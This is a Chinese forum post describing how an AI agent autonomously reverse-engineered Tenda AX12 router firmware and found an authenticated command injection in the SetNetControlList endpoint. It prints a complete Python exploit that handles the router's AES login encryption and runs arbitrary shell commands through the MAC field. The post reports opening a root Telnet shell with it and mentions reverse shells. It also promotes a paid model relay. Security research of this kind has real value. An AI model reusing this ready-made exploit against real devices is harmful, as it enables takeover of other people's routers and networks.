找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

3552

积分

0

好友

474

主题
发表于 1 小时前 | 查看: 3| 回复: 0

断更好久了,今天突然复活一下,粉丝投稿了一个关于AI安全的小案例,感觉还挺有意思...

起因

最近心血来潮,突然想接触一些关于IOT相关的内容,但是由于之前基本没有怎么接触过,基础有限。最近又刷到各种AI agent,AI CTF相关的内容,于是就想试试能不能让我一个没怎么接触过IOT的人,使用AI去挖掘到我的第一个IOT相关的漏洞。

环境准备

1. AI中转

我用的是 VeryToken( https://verytoken.vip )这个AI中转站进行模型调用。费用和稳定性都还不错,换算下来 GPT-5.4 每百万Token只需要0.45元人民币,对于平时跑跑这种自动化审计任务,性价比相当高了。

VeryToken AI模型筛选与计费页面

2. 目标准备

目标设备是一台家里闲置吃灰的腾达路由器,直接接在本地环境里当靶机用。设备本身没有任何防范,正好适合做渗透测试。

腾达(Tenda)品牌无线路由器实物外接天线与网线

漏洞复现

1. Prompt提示词

为了测试 AI 的极限,我决定完全不人工干预,只给一段详细的提示词,让它全自动闭环完成。具体提示词如下:

$ctf-sandbox 这个 skill 来完成接下来的 CTF-IOT 挑战。已知 http://192.168.111.1/ 是路由器管理员地址,唯一知道的信息是管理员密码为 88888888,这个路由器为本地测试环境,可以做任何测试。
你需要自己获取到该设备的固件版本(已知型号是 tenda-AX12),并去网上找到相关版本固件,下载到本地并解压。对解压后的文件系统进行审计,所需二进制文件分析,必须使用 IDA 打开并通过 IDA-MCP 进行审计,找到 RCE 漏洞,并在当前本地路由器测试环境验证。
所有的分析必须经过实际 IDA 的代码审计,不允许随意猜测或从网上寻找相关漏洞资料。验证方式为执行 sleep x,根据响应延迟判断漏洞是否存在。如果遇见高置信漏洞但 sleep 无法测试的话,可以采用执行 wget 或者 curl 的方式,请求本机的一个端口,本机检测是否有请求过来。
最终给我一个 exp.pywp.md 帮我完成这个 CTF 挑战。

AI分析任务要求的长文本截图,详细说明了固件获取、IDA审计及RCE验证过程

喂完这段话后我就直接把窗口挂后台,去洗漱睡觉了。其实心里也没底,不知道 AI 到底能不能自主把 固件下载 -> 解包 -> 逆向审计 -> 漏洞利用 这一整条链跑通。

2. 结果

第二天一早醒来,AI 已经在凌晨左右完成了任务。它不仅整理好了一份完善的攻击脚本 exp.py,还输出了一份非常详细的技术文档 wp.md

文档里记录了它研究的全过程:从登录设备获取固件版本,到匹配官方固件并解包,再到把关键二进制文件扔进 IDA 进行反汇编审计,最终定位到了一个真实存在的命令注入漏洞。虽然整个流程耗时接近 3 个小时,但考虑到这是完全无人值守、且 AI 独立完成了跨二进制文件(httpd 到 libtd_server.so)的数据流追踪,我已经非常满意了。看到终端直接弹出设备的 root shell,有一种马上要被 AI 取代的既视感。

AI交付的漏洞报告总结,包含有效漏洞调用链SetNetControlList与exp.py交付物

3. 花费

任务是从晚上十点多开始,使用 GPT-5.4 模型一直跑到凌晨 1:23 结束。查看了下 API 调用的消耗记录,各个时间段的费用分布很清晰。最终的曲线图显示,一小时花费最高的时段是在深夜里进行深度逆向推理的时候。

Token消耗仪表盘,显示按小时统计的API调用费用及模型分布图表

简单算了一笔账:

  • 第一小时:0.23 元
  • 第二小时:0.60 元
  • 第三小时:1.01 元
  • 第四小时:0.27 元
  • 总计2.11 元

两块钱买了一个 IOT 设备的 Root RCE,这买卖,我只能说无敌。

EXP

AI 帮我们生成的实际利用脚本逻辑非常清晰。这里整理一下关键技术点:我们需要先解决路由器的认证加密问题。Tenda 这套方案使用了 AES-CBC 加密通信,但 IV 密钥是硬编码在程序里的。我们基于这个特征构造了 AX12Client 类,在登录后提取出 sign 密钥,然后通过对 /goform/SetNetControlList 接口发送精心构造的 payload 来触发命令执行。

下面是完整的利用脚本:

#!/usr/bin/env python3
import argparse
import base64
import hashlib
import json
import time
from urllib.parse import urljoin

import requests
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad

IV = b"EU5H62G9ICGRNI43"

class AX12Client:
    def __init__(self, base_url, password, timeout=10):
        self.base_url = base_url.rstrip("/") + "/"
        self.password = password
        self.timeout = timeout
        self.session = requests.Session()
        self.sign = None

    def url(self, path):
        return urljoin(self.base_url, path.lstrip("/"))

    def login(self):
        digest = hashlib.md5(self.password.encode()).hexdigest()
        r = self.session.post(
            self.url("/login/Auth"),
            data={"username": "admin", "password": digest},
            allow_redirects=False,
            timeout=self.timeout,
        )
        if r.status_code not in (200, 302):
            raise RuntimeError(f"login failed: HTTP {r.status_code}")

        r = self.session.get(self.url("/goform/stokCfg"), timeout=self.timeout)
        r.raise_for_status()
        data = r.json()["stokCfg"]
        self.sign = data["sign"].encode()
        return data

    def encrypt(self, body):
        if self.sign is None:
            raise RuntimeError("not logged in")
        cipher = AES.new(self.sign, AES.MODE_CBC, IV)
        return base64.b64encode(cipher.encrypt(pad(body.encode(), AES.block_size))).decode()

    def decrypt_response(self, text):
        try:
            obj = json.loads(text)
        except json.JSONDecodeError:
            return text
        if "data" not in obj:
            return text
        cipher = AES.new(self.sign, AES.MODE_CBC, IV)
        return unpad(cipher.decrypt(base64.b64decode(obj["data"])), AES.block_size).decode()

    def get_form(self, path):
        r = self.session.get(self.url(path), timeout=self.timeout)
        r.raise_for_status()
        return self.decrypt_response(r.text)

    def post_form(self, path, body, timeout=None):
        timeout = self.timeout if timeout is None else timeout
        encrypted = self.encrypt(body)
        start = time.monotonic()
        r = self.session.post(self.url(path), data=encrypted, timeout=timeout)
        elapsed = time.monotonic() - start
        r.raise_for_status()
        return elapsed, self.decrypt_response(r.text)

def detect_version(client):
    data = json.loads(client.get_form("/goform/GetSystemStatus"))
    return data.get("adv_firm_ver"), data.get("adv_hard_ver")

def build_netcontrol_body(cmd=None, dev_name="dev", limit_up=128, limit_down=128):
    mac = "00:11:22:33:44:55"
    if cmd:
        mac = f"0;{cmd};#aa"
    return f"list={dev_name}\r{mac}\r{int(limit_up)}\r{int(limit_down)}"

def post_netcontrol(client, body, timeout=20):
    start = time.monotonic()
    try:
        elapsed, resp = client.post_form("/goform/SetNetControlList", body, timeout=timeout)
        print(f"
  • SetNetControlList response: {elapsed:.2f}s {resp}")         return elapsed, resp, False     except requests.exceptions.ReadTimeout:         elapsed = time.monotonic() - start         print(f"[!] SetNetControlList timed out after {elapsed:.2f}s; command may still have executed")         return elapsed, None, True def exploit_sleep(client, seconds):     body = build_netcontrol_body(cmd=f"sleep {int(seconds)}")     elapsed, _, _ = post_netcontrol(client, body, timeout=max(15, seconds + 10))     if elapsed >= max(1, seconds - 0.75):         print(f"[+] RCE verified by delay: expected ~{seconds}s, observed {elapsed:.2f}s")         return True     print(f"[-] no convincing delay: expected ~{seconds}s, observed {elapsed:.2f}s")     return False def exploit_cmd(client, cmd, timeout=20):     body = build_netcontrol_body(cmd=cmd)     elapsed, resp, timed_out = post_netcontrol(client, body, timeout=timeout)     if timed_out:         print("[+] payload sent; HTTP timed out, please verify by side effect")     else:         print(f"[+] payload sent in {elapsed:.2f}s, response: {resp}") def main():     parser = argparse.ArgumentParser(description="Tenda AX12 authenticated RCE verifier for SetNetControlList command injection")     parser.add_argument("-u", "--url", default="http://192.168.111.1/", help="router base URL")     parser.add_argument("-p", "--password", default="88888888", help="admin password")     parser.add_argument("--sleep", type=int, default=5, help="sleep seconds for timing verification")     parser.add_argument("--cmd", help="run an arbitrary shell command through SetNetControlList")     parser.add_argument("--timeout", type=int, default=20, help="HTTP timeout for the exploit request")     args = parser.parse_args()     client = AX12Client(args.url, args.password)     stok = client.login()     print(f"
  • logged in, stok={stok.get('stok')} sign={stok.get('sign')}")     version, hardware = detect_version(client)     print(f"
  • device firmware={version} hardware={hardware}")     if args.cmd:         exploit_cmd(client, args.cmd, timeout=args.timeout)     else:         ok = exploit_sleep(client, args.sleep)         raise SystemExit(0 if ok else 1) if __name__ == "__main__":     main()
  • 成功执行脚本后,我们就能在目标机器上开启 Telnet 服务并获取到入口,一切如预想般丝滑。

    终端执行Python脚本利用成功开启Telnet并登录设备的截图

    分析报告

    回过头来复盘一下 AI 给出的逆向分析文档,它把这条漏洞链梳理得确实非常漂亮,即使是我这样刚接触 硬件安全与逆向分析 的新手也能看懂。这个漏洞本质上是 跨进程、异步的认证后命令注入,调用链比常规漏洞稍长。

    首先在 Web 服务程序 httpd 中定位接口注册点。在 httpd::sub_41DE60 里,系统注册了:
    sub_40A144("SetNetControlList", sub_43FDCC);

    IDA反汇编界面中SetNetControlList接口注册的函数列表,sub_40A144高亮显示

    接着跟进核心处理函数 sub_43FDCC。从伪代码可以直观看到,接口从请求中读取参数 list;真正危险的地方在于它并非同步执行,而是通过 fork() 产生的子进程去调用了 set_tc_rule()。这直接导致:我们不能单靠 HTTP 响应时间来判断漏洞是否存在,因为恶意命令是在后台跑的。

    IDA反汇编sub_43FDCC函数的伪代码,包含fork和set_tc_rule调用逻辑

    我们再深入解析一下 list 参数的格式。在 sub_43FBBC 中,AI 精准地识别出了格式化解析逻辑:
    sscanf(v14, "%[^\r]\r%[^\r]\r%[^\r]\r%s", v15, v13, v12, v11);

    这意味着 list 的一条记录被用 \r 分隔符切割成了四个字段:
    设备名 \r MAC地址 \r 上行速率 \r 下行速率

    sub_43FBBC函数中sscanf解析逻辑的代码截图展示字段切割

    sub_43F8DC 这里,解析出的 MAC 字段(也就是 a2)被直接写入了 qos.@device_rule[%d].mac 并执行了 CfgCommit("qos")。这一步非常关键,攻击者可控的输入此刻不再只是内存里的临时数据,而是被持久化进了设备的配置文件 UCI 里。

    数据流在此非常明确:
    HTTP list -> parsed mac -> qos.@device_rule

  • .mac

    sub_43F8DC函数中将MAC写入qos配置文件的伪代码及memset操作

    接下来的舞台从 httpd 切换到了另一个核心系统守护进程 libtd_server.so。在 set_tc_rule() 函数内部,会出现关键的读回操作:
    qos_rule_config = get_qos_rule_config((int)v13);

    这一步完美验证了:之前被污染的持久化配置,现在又被重新从文件里读进了内存,并即将流向流量控制的核心逻辑。这证实了攻击数据流并未中断。

    set_tc_rule调用get_qos_rule_config的IDA视图

    紧接着,get_qos_rule_config 会以 48 字节为固定步长,遍历所有 device_rule 条目。紧随其后的 add_tc_traffic_control() 收到的第二个参数 a2,正是当前条目的起始地址(也就是存有我们恶意 MAC 的起始指针)。

    get_qos_rule_config函数的迭代逻辑,展示48字节步长的处理循环

    进入 add_tc_traffic_control() 函数内部,参数映射关系已经毫无疑义:

    • a2 = mac
    • a3 = limit_up
    • a4 = limit_down

    至此,攻击者可控的 MAC 字段和最终的危险函数参数彻底建立起了映射。

    add_tc_traffic_control函数伪代码签名显示a2为mac参数

    最致命的一击在下面这张图里。在构造 iptables 命令时,a2(也就是我们修改过的 mac)竟然被原封不动地用 %s 拼接进了 Shell 命令字符串,既没有做任何转义处理(shell escaping),也没有校验 MAC 地址的标准格式。最终通过 doSystemCmd() 执行。

    这为任意命令注入敞开了大门。只要我们在 MAC 字段里塞入 ;# 等 Shell 元字符,就能截断原本的 iptables 规则,接上我们自己的恶意命令,例如开启远程后门或者反弹 Shell。至此,漏洞利用链 完美闭环。

    add_tc_traffic_control函数中sprintf拼接iptables命令并调用doSystemCmd的铁证截图

    结语

    回顾这一次实验,AI 在真实的 二进制审计与逆向 场景中完全做到了自主闭环,并且最终开销仅仅是 2.11 元人民币

    现在大模型的能力真的已经能支撑很大一部分繁杂的安全研究工作。大家如果有兴趣的话,真的可以多去尝试一下。不必因为 AI 的进化而陷入焦虑,作为安全从业者,我们应该学会拥抱安全,并拥抱 AI 带来的效率倍增。如果大家对 AI 挖洞这一块还有兴趣,后续我还会继续更新相关的实战系列。如果你有关于 AI + 安全的新奇思路或闭坑经验,也欢迎来 云栈社区 和我们一起交流碰撞!




  • 上一篇:SRC实战:ModHeader插件修改HTTP请求头的5个妙用
    下一篇:记一次弱口令到Getshell的完整渗透实录:SQL注入结合任意文件读取
    您需要登录后才可以回帖 登录 | 立即注册

    手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

    GMT+8, 2026-5-13 17:53 , Processed in 0.650517 second(s), 39 queries , Gzip On.

    Powered by Discuz! X3.5

    © 2025-2026 云栈社区.

    快速回复 返回顶部 返回列表